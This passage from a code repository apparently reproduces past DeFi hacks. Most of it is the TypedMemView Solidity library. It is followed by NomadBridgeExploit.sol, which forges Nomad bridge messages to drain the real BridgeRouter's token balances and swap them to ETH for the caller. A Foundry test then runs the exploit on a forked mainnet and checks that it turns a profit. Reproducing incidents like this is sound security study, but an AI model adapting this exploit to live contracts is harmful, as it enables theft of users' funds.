| } // 8 105 | if (_nibble == 0xf9) { 106 | return 0x39; 107 | } // 9 108 | if (_nibble == 0xfa) { 109 | return 0x61; 110 | } // a 111 | if (_nibble == 0xfb) { 112 | return 0x62; 113 | } // b 114 | if (_nibble == 0xfc) { 115 | return 0x63; 116 | } // c 117 | if (_nibble == 0xfd) { 118 | return 0x64; 119 | } // d 120 | if (_nibble == 0xfe) { 121 | return 0x65; 122 | } // e 123 | if (_nibble == 0xff) { 124 | return 0x66; 125 | } // f 126 | } 127 | 128 | /** 129 | * @notice Returns a uint16 containing the hex-encoded byte. 130 | * @param _b The byte 131 | * @return encoded - The hex-encoded byte 132 | */ 133 | function byteHex(uint8 _b) internal pure returns (uint16 encoded) { 134 | encoded |= nibbleHex(_b >> 4); // top 4 bits 135 | encoded <<= 8; 136 | encoded |= nibbleHex(_b); // lower 4 bits 137 | } 138 | 139 | /** 140 | * @notice Encodes the uint256 to hex. `first` contains the encoded top 16 bytes. 141 | * `second` contains the encoded lower 16 bytes. 142 | * 143 | * @param _b The 32 bytes as uint256 144 | * @return first - The top 16 bytes 145 | * @return second - The bottom 16 bytes 146 | */ 147 | function encodeHex(uint256 _b) internal pure returns (uint256 first, uint256 second) { 148 | for (uint8 i = 31; i > 15; i -= 1) { 149 | uint8 _byte = uint8(_b >> (i * 8)); 150 | first |= byteHex(_byte); 151 | if (i != 16) { 152 | first <<= 16; 153 | } 154 | } 155 | 156 | // abusing underflow here =_= 157 | for (uint8 i = 15; i < 255; i -= 1) { 158 | uint8 _byte = uint8(_b >> (i * 8)); 159 | second |= byteHex(_byte); 160 | if (i != 0) { 161 | second <<= 16; 162 | } 163 | } 164 | } 165 | 166 | /** 167 | * @notice Changes the endianness of a uint256. 168 | * @dev https://graphics.stanford.edu/~seander/bithacks.html#ReverseParallel 169 | * @param _b The unsigned integer to reverse 170 | * @return v - The reversed value 171 | */ 172 | function reverseUint256(uint256 _b) internal pure returns (uint256 v) { 173 | v = _b; 174 | 175 | // swap bytes 176 | v = ((v >> 8) & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) 177 | | ((v & 0x00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF) << 8); 178 | // swap 2-byte long pairs 179 | v = ((v >> 16) & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) 180 | | ((v & 0x0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF) << 16); 181 | // swap 4-byte long pairs 182 | v = ((v >> 32) & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) 183 | | ((v & 0x00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF) << 32); 184 | // swap 8-byte long pairs 185 | v = ((v >> 64) & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) 186 | | ((v & 0x0000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF) << 64); 187 | // swap 16-byte long pairs 188 | v = (v >> 128) | (v << 128); 189 | } 190 | 191 | /** 192 | * @notice Create a mask with the highest `_len` bits set. 193 | * @param _len The length 194 | * @return mask - The mask 195 | */ 196 | function leftMask(uint8 _len) private pure returns (uint256 mask) { 197 | // ugly. redo without assembly? 198 | assembly { 199 | // solium-disable-previous-line security/no-inline-assembly 200 | mask := sar(sub(_len, 1), 0x8000000000000000000000000000000000000000000000000000000000000000) 201 | } 202 | } 203 | 204 | /** 205 | * @notice Return the null view. 206 | * @return bytes29 - The null view 207 | */ 208 | function nullView() internal pure returns (bytes29) { 209 | return NULL; 210 | } 211 | 212 | /** 213 | * @notice Check if the view is null. 214 | * @return bool - True if the view is null 215 | */ 216 | function isNull(bytes29 memView) internal pure returns (bool) { 217 | return memView == NULL; 218 | } 219 | 220 | /** 221 | * @notice Check if the view is not null. 222 | * @return bool - True if the view is not null 223 | */ 224 | function notNull(bytes29 memView) internal pure returns (bool) { 225 | return !isNull(memView); 226 | } 227 | 228 | /** 229 | * @notice Check if the view is of a valid type and points to a valid location 230 | * in memory. 231 | * @dev We perform this check by examining solidity's unallocated memory 232 | * pointer and ensuring that the view's upper bound is less than that. 233 | * @param memView The view 234 | * @return ret - True if the view is valid 235 | */ 236 | function isValid(bytes29 memView) internal pure returns (bool ret) { 237 | if (typeOf(memView) == 0xffffffffff) { 238 | return false; 239 | } 240 | uint256 _end = end(memView); 241 | assembly { 242 | // solium-disable-previous-line security/no-inline-assembly 243 | ret := not(gt(_end, mload(0x40))) 244 | } 245 | } 246 | 247 | /** 248 | * @notice Require that a typed memory view be valid. 249 | * @dev Returns the view for easy chaining. 250 | * @param memView The view 251 | * @return bytes29 - The validated view 252 | */ 253 | function assertValid(bytes29 memView) internal pure returns (bytes29) { 254 | require(isValid(memView), "Validity assertion failed"); 255 | return memView; 256 | } 257 | 258 | /** 259 | * @notice Return true if the memview is of the expected type. Otherwise false. 260 | * @param memView The view 261 | * @param _expected The expected type 262 | * @return bool - True if the memview is of the expected type 263 | */ 264 | function isType(bytes29 memView, uint40 _expected) internal pure returns (bool) { 265 | return typeOf(memView) == _expected; 266 | } 267 | 268 | /** 269 | * @notice Require that a typed memory view has a specific type. 270 | * @dev Returns the view for easy chaining. 271 | * @param memView The view 272 | * @param _expected The expected type 273 | * @return bytes29 - The view with validated type 274 | */ 275 | function assertType(bytes29 memView, uint40 _expected) internal pure returns (bytes29) { 276 | if (!isType(memView, _expected)) { 277 | (, uint256 g) = encodeHex(uint256(typeOf(memView))); 278 | (, uint256 e) = encodeHex(uint256(_expected)); 279 | string memory err = 280 | string(abi.encodePacked("Type assertion failed. Got 0x", uint80(g), ". Expected 0x", uint80(e))); 281 | revert(err); 282 | } 283 | return memView; 284 | } 285 | 286 | /** 287 | * @notice Return an identical view with a different type. 288 | * @param memView The view 289 | * @param _newType The new type 290 | * @return newView - The new view with the specified type 291 | */ 292 | function castTo(bytes29 memView, uint40 _newType) internal pure returns (bytes29 newView) { 293 | // then | in the new type 294 | assembly { 295 | // solium-disable-previous-line security/no-inline-assembly 296 | // shift off the top 5 bytes 297 | newView := or(newView, shr(40, shl(40, memView))) 298 | newView := or(newView, shl(216, _newType)) 299 | } 300 | } 301 | 302 | /** 303 | * @notice Unsafe raw pointer construction. This should generally not be called 304 | * directly. Prefer `ref` wherever possible. 305 | * @dev Unsafe raw pointer construction. This should generally not be called 306 | * directly. Prefer `ref` wherever possible. 307 | * @param _type The type 308 | * @param _loc The memory address 309 | * @param _len The length 310 | * @return newView - The new view with the specified type, location and length 311 | */ 312 | function unsafeBuildUnchecked(uint256 _type, uint256 _loc, uint256 _len) private pure returns (bytes29 newView) { 313 | assembly { 314 | // solium-disable-previous-line security/no-inline-assembly 315 | newView := shl(96, or(newView, _type)) // insert type 316 | newView := shl(96, or(newView, _loc)) // insert loc 317 | newView := shl(24, or(newView, _len)) // empty bottom 3 bytes 318 | } 319 | } 320 | 321 | /** 322 | * @notice Instantiate a new memory view. This should generally not be called 323 | * directly. Prefer `ref` wherever possible. 324 | * @dev Instantiate a new memory view. This should generally not be called 325 | * directly. Prefer `ref` wherever possible. 326 | * @param _type The type 327 | * @param _loc The memory address 328 | * @param _len The length 329 | * @return newView - The new view with the specified type, location and length 330 | */ 331 | function build(uint256 _type, uint256 _loc, uint256 _len) internal pure returns (bytes29 newView) { 332 | uint256 _end = _loc + _len; 333 | assembly { 334 | // solium-disable-previous-line security/no-inline-assembly 335 | if gt(_end, mload(0x40)) { _end := 0 } 336 | } 337 | if (_end == 0) { 338 | return NULL; 339 | } 340 | newView = unsafeBuildUnchecked(_type, _loc, _len); 341 | } 342 | 343 | /** 344 | * @notice Instantiate a memory view from a byte array. 345 | * @dev Note that due to Solidity memory representation, it is not possible to 346 | * implement a deref, as the `bytes` type stores its len in memory. 347 | * @param arr The byte array 348 | * @param newType The type 349 | * @return bytes29 - The memory view 350 | */ 351 | function ref(bytes memory arr, uint40 newType) internal pure returns (bytes29) { 352 | uint256 _len = arr.length; 353 | 354 | uint256 _loc; 355 | assembly { 356 | // solium-disable-previous-line security/no-inline-assembly 357 | _loc := add(arr, 0x20) // our view is of the data, not the struct 358 | } 359 | 360 | return build(newType, _loc, _len); 361 | } 362 | 363 | /** 364 | * @notice Return the associated type information. 365 | * @param memView The memory view 366 | * @return _type - The type associated with the view 367 | */ 368 | function typeOf(bytes29 memView) internal pure returns (uint40 _type) { 369 | assembly { 370 | // solium-disable-previous-line security/no-inline-assembly 371 | // 216 == 256 - 40 372 | _type := shr(216, memView) // shift out lower 24 bytes 373 | } 374 | } 375 | 376 | /** 377 | * @notice Optimized type comparison. Checks that the 5-byte type flag is equal. 378 | * @param left The first view 379 | * @param right The second view 380 | * @return bool - True if the 5-byte type flag is equal 381 | */ 382 | function sameType(bytes29 left, bytes29 right) internal pure returns (bool) { 383 | return (left ^ right) >> (2 * TWELVE_BYTES) == 0; 384 | } 385 | 386 | /** 387 | * @notice Return the memory address of the underlying bytes. 388 | * @param memView The view 389 | * @return _loc - The memory address 390 | */ 391 | function loc(bytes29 memView) internal pure returns (uint96 _loc) { 392 | uint256 _mask = LOW_12_MASK; // assembly can't use globals 393 | assembly { 394 | // solium-disable-previous-line security/no-inline-assembly 395 | // 120 bits = 12 bytes (the encoded loc) + 3 bytes (empty low space) 396 | _loc := and(shr(120, memView), _mask) 397 | } 398 | } 399 | 400 | /** 401 | * @notice The number of memory words this memory view occupies, rounded up. 402 | * @param memView The view 403 | * @return uint256 - The number of memory words 404 | */ 405 | function words(bytes29 memView) internal pure returns (uint256) { 406 | return (uint256(len(memView)) + 32) / 32; 407 | } 408 | 409 | /** 410 | * @notice The in-memory footprint of a fresh copy of the view. 411 | * @param memView The view 412 | * @return uint256 - The in-memory footprint of a fresh copy of the view. 413 | */ 414 | function footprint(bytes29 memView) internal pure returns (uint256) { 415 | return words(memView) * 32; 416 | } 417 | 418 | /** 419 | * @notice The number of bytes of the view. 420 | * @param memView The view 421 | * @return _len - The length of the view 422 | */ 423 | function len(bytes29 memView) internal pure returns (uint96 _len) { 424 | uint256 _mask = LOW_12_MASK; // assembly can't use globals 425 | assembly { 426 | // solium-disable-previous-line security/no-inline-assembly 427 | _len := and(shr(24, memView), _mask) 428 | } 429 | } 430 | 431 | /** 432 | * @notice Returns the endpoint of `memView`. 433 | * @param memView The view 434 | * @return uint256 - The endpoint of `memView` 435 | */ 436 | function end(bytes29 memView) internal pure returns (uint256) { 437 | return loc(memView) + len(memView); 438 | } 439 | 440 | /** 441 | * @notice Safe slicing without memory modification. 442 | * @param memView The view 443 | * @param _index The start index 444 | * @param _len The length 445 | * @param newType The new type 446 | * @return bytes29 - The new view 447 | */ 448 | function slice(bytes29 memView, uint256 _index, uint256 _len, uint40 newType) internal pure returns (bytes29) { 449 | uint256 _loc = loc(memView); 450 | 451 | // Ensure it doesn't overrun the view 452 | if (_loc + _index + _len > end(memView)) { 453 | return NULL; 454 | } 455 | 456 | _loc = _loc + _index; 457 | return build(newType, _loc, _len); 458 | } 459 | 460 | /** 461 | * @notice Shortcut to `slice`. Gets a view representing the first `_len` bytes. 462 | * @param memView The view 463 | * @param _len The length 464 | * @param newType The new type 465 | * @return bytes29 - The new view 466 | */ 467 | function prefix(bytes29 memView, uint256 _len, uint40 newType) internal pure returns (bytes29) { 468 | return slice(memView, 0, _len, newType); 469 | } 470 | 471 | /** 472 | * @notice Shortcut to `slice`. Gets a view representing the last `_len` byte. 473 | * @param memView The view 474 | * @param _len The length 475 | * @param newType The new type 476 | * @return bytes29 - The new view 477 | */ 478 | function postfix(bytes29 memView, uint256 _len, uint40 newType) internal pure returns (bytes29) { 479 | return slice(memView, uint256(len(memView)) - _len, _len, newType); 480 | } 481 | 482 | /** 483 | * @notice Construct an error message for an indexing overrun. 484 | * @param _loc The memory address 485 | * @param _len The length 486 | * @param _index The index 487 | * @param _slice The slice where the overrun occurred 488 | * @return err - The err 489 | */ 490 | function indexErrOverrun(uint256 _loc, uint256 _len, uint256 _index, uint256 _slice) 491 | internal 492 | pure 493 | returns (string memory err) 494 | { 495 | (, uint256 a) = encodeHex(_loc); 496 | (, uint256 b) = encodeHex(_len); 497 | (, uint256 c) = encodeHex(_index); 498 | (, uint256 d) = encodeHex(_slice); 499 | err = string( 500 | abi.encodePacked( 501 | "TypedMemView/index - Overran the view. Slice is at 0x", 502 | uint48(a), 503 | " with length 0x", 504 | uint48(b), 505 | ". Attempted to index at offset 0x", 506 | uint48(c), 507 | " with length 0x", 508 | uint48(d), 509 | "." 510 | ) 511 | ); 512 | } 513 | 514 | /** 515 | * @notice Load up to 32 bytes from the view onto the stack. 516 | * @dev Returns a bytes32 with only the `_bytes` highest bytes set. 517 | * This can be immediately cast to a smaller fixed-length byte array. 518 | * To automatically cast to an integer, use `indexUint`. 519 | * @param memView The view 520 | * @param _index The index 521 | * @param _bytes The bytes 522 | * @return result - The 32 byte result 523 | */ 524 | function index(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (bytes32 result) { 525 | if (_bytes == 0) { 526 | return bytes32(0); 527 | } 528 | if (_index + _bytes > len(memView)) { 529 | revert(indexErrOverrun(loc(memView), len(memView), _index, uint256(_bytes))); 530 | } 531 | require(_bytes <= 32, "TypedMemView/index - Attempted to index more than 32 bytes"); 532 | 533 | uint8 bitLength; 534 | unchecked { 535 | bitLength = _bytes * 8; 536 | } 537 | uint256 _loc = loc(memView); 538 | uint256 _mask = leftMask(bitLength); 539 | assembly { 540 | // solium-disable-previous-line security/no-inline-assembly 541 | result := and(mload(add(_loc, _index)), _mask) 542 | } 543 | } 544 | 545 | /** 546 | * @notice Parse an unsigned integer from the view at `_index`. 547 | * @dev Requires that the view have >= `_bytes` bytes following that index. 548 | * @param memView The view 549 | * @param _index The index 550 | * @param _bytes The bytes 551 | * @return result - The unsigned integer 552 | */ 553 | function indexUint(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (uint256 result) { 554 | return uint256(index(memView, _index, _bytes)) >> ((32 - _bytes) * 8); 555 | } 556 | 557 | /** 558 | * @notice Parse an unsigned integer from LE bytes. 559 | * @param memView The view 560 | * @param _index The index 561 | * @param _bytes The bytes 562 | * @return result - The unsigned integer 563 | */ 564 | function indexLEUint(bytes29 memView, uint256 _index, uint8 _bytes) internal pure returns (uint256 result) { 565 | return reverseUint256(uint256(index(memView, _index, _bytes))); 566 | } 567 | 568 | /** 569 | * @notice Parse an address from the view at `_index`. Requires that the view have >= 20 bytes 570 | * following that index. 571 | * @param memView The view 572 | * @param _index The index 573 | * @return address - The address 574 | */ 575 | function indexAddress(bytes29 memView, uint256 _index) internal pure returns (address) { 576 | return address(uint160(indexUint(memView, _index, 20))); 577 | } 578 | 579 | /** 580 | * @notice Return the keccak256 hash of the underlying memory 581 | * @param memView The view 582 | * @return digest - The keccak256 hash of the underlying memory 583 | */ 584 | function keccak(bytes29 memView) internal pure returns (bytes32 digest) { 585 | uint256 _loc = loc(memView); 586 | uint256 _len = len(memView); 587 | assembly { 588 | // solium-disable-previous-line security/no-inline-assembly 589 | digest := keccak256(_loc, _len) 590 | } 591 | } 592 | 593 | /** 594 | * @notice Return the sha2 digest of the underlying memory. 595 | * @dev We explicitly deallocate memory afterwards. 596 | * @param memView The view 597 | * @return digest - The sha2 hash of the underlying memory 598 | */ 599 | function sha2(bytes29 memView) internal view returns (bytes32 digest) { 600 | uint256 _loc = loc(memView); 601 | uint256 _len = len(memView); 602 | assembly { 603 | // solium-disable-previous-line security/no-inline-assembly 604 | let ptr := mload(0x40) 605 | pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 #1 606 | digest := mload(ptr) 607 | } 608 | } 609 | 610 | /** 611 | * @notice Implements bitcoin's hash160 (rmd160(sha2())) 612 | * @param memView The pre-image 613 | * @return digest - the Digest 614 | */ 615 | function hash160(bytes29 memView) internal view returns (bytes20 digest) { 616 | uint256 _loc = loc(memView); 617 | uint256 _len = len(memView); 618 | assembly { 619 | // solium-disable-previous-line security/no-inline-assembly 620 | let ptr := mload(0x40) 621 | pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 622 | pop(staticcall(gas(), 3, ptr, 0x20, ptr, 0x20)) // rmd160 623 | digest := mload(add(ptr, 0xc)) // return value is 0-prefixed. 624 | } 625 | } 626 | 627 | /** 628 | * @notice Implements bitcoin's hash256 (double sha2) 629 | * @param memView A view of the preimage 630 | * @return digest - the Digest 631 | */ 632 | function hash256(bytes29 memView) internal view returns (bytes32 digest) { 633 | uint256 _loc = loc(memView); 634 | uint256 _len = len(memView); 635 | assembly { 636 | // solium-disable-previous-line security/no-inline-assembly 637 | let ptr := mload(0x40) 638 | pop(staticcall(gas(), 2, _loc, _len, ptr, 0x20)) // sha2 #1 639 | pop(staticcall(gas(), 2, ptr, 0x20, ptr, 0x20)) // sha2 #2 640 | digest := mload(ptr) 641 | } 642 | } 643 | 644 | /** 645 | * @notice Return true if the underlying memory is equal. Else false. 646 | * @param left The first view 647 | * @param right The second view 648 | * @return bool - True if the underlying memory is equal 649 | */ 650 | function untypedEqual(bytes29 left, bytes29 right) internal pure returns (bool) { 651 | return (loc(left) == loc(right) && len(left) == len(right)) || keccak(left) == keccak(right); 652 | } 653 | 654 | /** 655 | * @notice Return false if the underlying memory is equal. Else true. 656 | * @param left The first view 657 | * @param right The second view 658 | * @return bool - False if the underlying memory is equal 659 | */ 660 | function untypedNotEqual(bytes29 left, bytes29 right) internal pure returns (bool) { 661 | return !untypedEqual(left, right); 662 | } 663 | 664 | /** 665 | * @notice Compares type equality. 666 | * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. 667 | * @param left The first view 668 | * @param right The second view 669 | * @return bool - True if the types are the same 670 | */ 671 | function equal(bytes29 left, bytes29 right) internal pure returns (bool) { 672 | return left == right || (typeOf(left) == typeOf(right) && keccak(left) == keccak(right)); 673 | } 674 | 675 | /** 676 | * @notice Compares type inequality. 677 | * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. 678 | * @param left The first view 679 | * @param right The second view 680 | * @return bool - True if the types are not the same 681 | */ 682 | function notEqual(bytes29 left, bytes29 right) internal pure returns (bool) { 683 | return !equal(left, right); 684 | } 685 | 686 | /** 687 | * @notice Copy the view to a location, return an unsafe memory reference 688 | * @dev Super Dangerous direct memory access. 689 | * 690 | * This reference can be overwritten if anything else modifies memory (!!!). 691 | * As such it MUST be consumed IMMEDIATELY. 692 | * This function is private to prevent unsafe usage by callers. 693 | * @param memView The view 694 | * @param _newLoc The new location 695 | * @return written - the unsafe memory reference 696 | */ 697 | function unsafeCopyTo(bytes29 memView, uint256 _newLoc) private view returns (bytes29 written) { 698 | require(notNull(memView), "TypedMemView/copyTo - Null pointer deref"); 699 | require(isValid(memView), "TypedMemView/copyTo - Invalid pointer deref"); 700 | uint256 _len = len(memView); 701 | uint256 _oldLoc = loc(memView); 702 | 703 | uint256 ptr; 704 | assembly { 705 | // solium-disable-previous-line security/no-inline-assembly 706 | ptr := mload(0x40) 707 | // revert if we're writing in occupied memory 708 | if gt(ptr, _newLoc) { revert(0x60, 0x20) } // empty revert message 709 | 710 | // use the identity precompile to copy 711 | // guaranteed not to fail, so pop the success 712 | pop(staticcall(gas(), 4, _oldLoc, _len, _newLoc, _len)) 713 | } 714 | 715 | written = unsafeBuildUnchecked(typeOf(memView), _newLoc, _len); 716 | } 717 | 718 | /** 719 | * @notice Copies the referenced memory to a new loc in memory, returning a `bytes` pointing to 720 | * the new memory 721 | * @dev Shortcuts if the pointers are identical, otherwise compares type and digest. 722 | * @param memView The view 723 | * @return ret - The view pointing to the new memory 724 | */ 725 | function clone(bytes29 memView) internal view returns (bytes memory ret) { 726 | uint256 ptr; 727 | uint256 _len = len(memView); 728 | assembly { 729 | // solium-disable-previous-line security/no-inline-assembly 730 | ptr := mload(0x40) // load unused memory pointer 731 | ret := ptr 732 | } 733 | unsafeCopyTo(memView, ptr + 0x20); 734 | assembly { 735 | // solium-disable-previous-line security/no-inline-assembly 736 | mstore(0x40, add(add(ptr, _len), 0x20)) // write new unused pointer 737 | mstore(ptr, _len) // write len of new array (in bytes) 738 | } 739 | } 740 | 741 | /** 742 | * @notice Join the views in memory, return an unsafe reference to the memory. 743 | * @dev Super Dangerous direct memory access. 744 | * 745 | * This reference can be overwritten if anything else modifies memory (!!!). 746 | * As such it MUST be consumed IMMEDIATELY. 747 | * This function is private to prevent unsafe usage by callers. 748 | * @param memViews The views 749 | * @return unsafeView - The conjoined view pointing to the new memory 750 | */ 751 | function unsafeJoin(bytes29[] memory memViews, uint256 _location) private view returns (bytes29 unsafeView) { 752 | assembly { 753 | // solium-disable-previous-line security/no-inline-assembly 754 | let ptr := mload(0x40) 755 | // revert if we're writing in occupied memory 756 | if gt(ptr, _location) { revert(0x60, 0x20) } // empty revert message 757 | } 758 | 759 | uint256 _offset = 0; 760 | for (uint256 i = 0; i < memViews.length; i++) { 761 | bytes29 memView = memViews[i]; 762 | unsafeCopyTo(memView, _location + _offset); 763 | _offset += len(memView); 764 | } 765 | unsafeView = unsafeBuildUnchecked(0, _location, _offset); 766 | } 767 | 768 | /** 769 | * @notice Produce the keccak256 digest of the concatenated contents of multiple views. 770 | * @param memViews The views 771 | * @return bytes32 - The keccak256 digest 772 | */ 773 | function joinKeccak(bytes29[] memory memViews) internal view returns (bytes32) { 774 | uint256 ptr; 775 | assembly { 776 | // solium-disable-previous-line security/no-inline-assembly 777 | ptr := mload(0x40) // load unused memory pointer 778 | } 779 | return keccak(unsafeJoin(memViews, ptr)); 780 | } 781 | 782 | /** 783 | * @notice Produce the sha256 digest of the concatenated contents of multiple views. 784 | * @param memViews The views 785 | * @return bytes32 - The sha256 digest 786 | */ 787 | function joinSha2(bytes29[] memory memViews) internal view returns (bytes32) { 788 | uint256 ptr; 789 | assembly { 790 | // solium-disable-previous-line security/no-inline-assembly 791 | ptr := mload(0x40) // load unused memory pointer 792 | } 793 | return sha2(unsafeJoin(memViews, ptr)); 794 | } 795 | 796 | /** 797 | * @notice copies all views, joins them into a new bytearray. 798 | * @param memViews The views 799 | * @return ret - The new byte array 800 | */ 801 | function join(bytes29[] memory memViews) internal view returns (bytes memory ret) { 802 | uint256 ptr; 803 | assembly { 804 | // solium-disable-previous-line security/no-inline-assembly 805 | ptr := mload(0x40) // load unused memory pointer 806 | } 807 | 808 | bytes29 _newView = unsafeJoin(memViews, ptr + 0x20); 809 | uint256 _written = len(_newView); 810 | uint256 _footprint = footprint(_newView); 811 | 812 | assembly { 813 | // solium-disable-previous-line security/no-inline-assembly 814 | // store the legnth 815 | mstore(ptr, _written) 816 | // new pointer is old + 0x20 + the footprint of the body 817 | mstore(0x40, add(add(ptr, _footprint), 0x20)) 818 | ret := ptr 819 | } 820 | } 821 | } 822 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridgeExploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 5 | import "./NomadBridge/Interfaces.sol"; 6 | import "./NomadBridge/TypedMemView.sol"; 7 | import "./NomadBridge/Message.sol"; 8 | import "./NomadBridge/BridgeMessage.sol"; 9 | import "v2-periphery/interfaces/IUniswapV2Router02.sol"; 10 | 11 | contract NomadBridgeExploit { 12 | using TypedMemView for bytes; 13 | using TypedMemView for bytes29; 14 | using BridgeMessage for bytes29; 15 | using Message for bytes29; 16 | 17 | address constant replicaAddress = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; 18 | address constant proxyAddress = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; // BridgeRouter 19 | address constant prevBridgeRouterAddress = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; 20 | 21 | IUniswapV2Router02 constant uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 22 | address constant wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 23 | 24 | function exploit(address[] calldata tokens) public { 25 | IReplica replica = IReplica(replicaAddress); 26 | IBridgeRouter bridgeRouter = IBridgeRouter(proxyAddress); 27 | ITokenRegistry tokenRegistry = bridgeRouter.tokenRegistry(); 28 | 29 | for (uint256 i = 0; i < tokens.length; i++) { 30 | address tokenAddress = tokens[i]; 31 | ERC20 token = ERC20(tokenAddress); 32 | 33 | (uint32 domain, bytes32 id) = tokenRegistry.getTokenId(tokenAddress); 34 | // Note: domain = destinationDomain 35 | 36 | bytes29 action = BridgeMessage.formatTransfer( 37 | bytes32(uint256(uint160(address(this)))), 38 | token.balanceOf(proxyAddress), 39 | BridgeMessage.getDetailsHash(token.name(), token.symbol(), token.decimals()) 40 | ); 41 | bytes29 tokenId = BridgeMessage.formatTokenId(domain, id); 42 | bytes memory rawBridgeMessage = BridgeMessage.formatMessage(tokenId, action); 43 | 44 | bytes memory rawMessage = Message.formatMessage( 45 | 1650811245, // originDomain 46 | bytes32(uint256(uint160(prevBridgeRouterAddress))), // sender 47 | 0, // nonce 48 | 6648936, // destinationDomain 49 | bytes32(uint256(uint160(proxyAddress))), // recipient 50 | rawBridgeMessage 51 | ); 52 | 53 | replica.process(rawMessage); 54 | 55 | token.approve(address(uniswapRouter), type(uint256).max); 56 | address[] memory path = new address[](2); 57 | path[0] = tokenAddress; 58 | path[1] = wethAddress; 59 | uniswapRouter.swapExactTokensForETH(token.balanceOf(address(this)), 0, path, msg.sender, type(uint256).max); 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/20220801_NomadBridge/NomadBridgeExploitTest.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 6 | import "./NomadBridgeExploit.sol"; 7 | import "./NomadBridge/Interfaces.sol"; 8 | import "./NomadBridge/TypedMemView.sol"; 9 | import "./NomadBridge/Message.sol"; 10 | import "./NomadBridge/BridgeMessage.sol"; 11 | 12 | contract NomadBridgeExploitTest is Test { 13 | using TypedMemView for bytes; 14 | using TypedMemView for bytes29; 15 | using BridgeMessage for bytes29; 16 | using Message for bytes29; 17 | 18 | address attackerAddress = address(10); 19 | NomadBridgeExploit exploit; 20 | 21 | ERC20 wbtc = ERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); 22 | ERC20 usdc = ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 23 | 24 | function setUp() public { 25 | vm.createSelectFork("mainnet", 15259100); 26 | exploit = new NomadBridgeExploit(); 27 | } 28 | 29 | function testExploit() public { 30 | vm.startPrank(attackerAddress, attackerAddress); 31 | address[] memory tokens = new address[](2); 32 | tokens[0] = address(wbtc); 33 | tokens[1] = address(usdc); 34 | exploit.exploit(tokens); 35 | emit log_named_uint("attacker's Ether balance", attackerAddress.balance / 1 ether); 36 | assertTrue(attackerAddress.balance > 0); 37 | vm.stopPrank(); 38 | } 39 | 40 | function testParseAndReconstructMessage() public { 41 | bytes memory rawMessage = 42 | hex"6265616d00000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a300000002006574680000000000000000000000005d94309e5a0090b165fa4181519701637b6daeba006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000ce71065d4017f316ec606fe4422e11eb2c47c2460000000000000000000000000000000000000000000000000000000000000064e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a"; 43 | 44 | bytes29 message = rawMessage.ref(0); 45 | emit log_named_uint("origin", message.origin()); 46 | emit log_named_bytes32("sender", message.sender()); 47 | emit log_named_uint("nonce", message.nonce()); 48 | emit log_named_uint("destination", message.destination()); 49 | emit log_named_bytes32("recipient", Message.recipient(message)); 50 | emit log_named_address("recipientAddress", message.recipientAddress()); 51 | 52 | bytes memory rawBridgeMessage = message.body().clone(); 53 | bytes29 bridgeMessage = rawBridgeMessage.ref(0).mustBeMessage(); 54 | bytes29 tokenId = bridgeMessage.tokenId(); 55 | emit log_named_uint("domain", tokenId.domain()); 56 | emit log_named_bytes32("id", tokenId.id()); 57 | bytes29 action = bridgeMessage.action(); 58 | emit log_named_uint("actionType", action.actionType()); 59 | emit log_named_uint("isTransfer", action.isTransfer() ? 1 : 0); 60 | emit log_named_uint("isFastTransfer", action.isFastTransfer() ? 1 : 0); 61 | emit log_named_bytes32("recipient", BridgeMessage.recipient(action)); 62 | emit log_named_address("evmRecipient", action.evmRecipient()); 63 | emit log_named_uint("amnt", action.amnt()); 64 | emit log_named_bytes32("detailsHash", action.detailsHash()); 65 | 66 | // Reconstruct 67 | bytes29 action_ = 68 | BridgeMessage.formatTransfer(BridgeMessage.recipient(action), action.amnt(), action.detailsHash()); 69 | bytes29 tokenId_ = BridgeMessage.formatTokenId(tokenId.domain(), tokenId.id()); 70 | bytes memory rawBridgeMessage_ = BridgeMessage.formatMessage(tokenId_, action_); 71 | assertEq(rawBridgeMessage, rawBridgeMessage_); 72 | bytes memory rawMessage_ = Message.formatMessage( 73 | message.origin(), 74 | message.sender(), 75 | message.nonce(), 76 | message.destination(), 77 | Message.recipient(message), 78 | rawBridgeMessage_ 79 | ); 80 | assertEq(rawMessage, rawMessage_); 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /src/interfaces/ICurveYPool.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 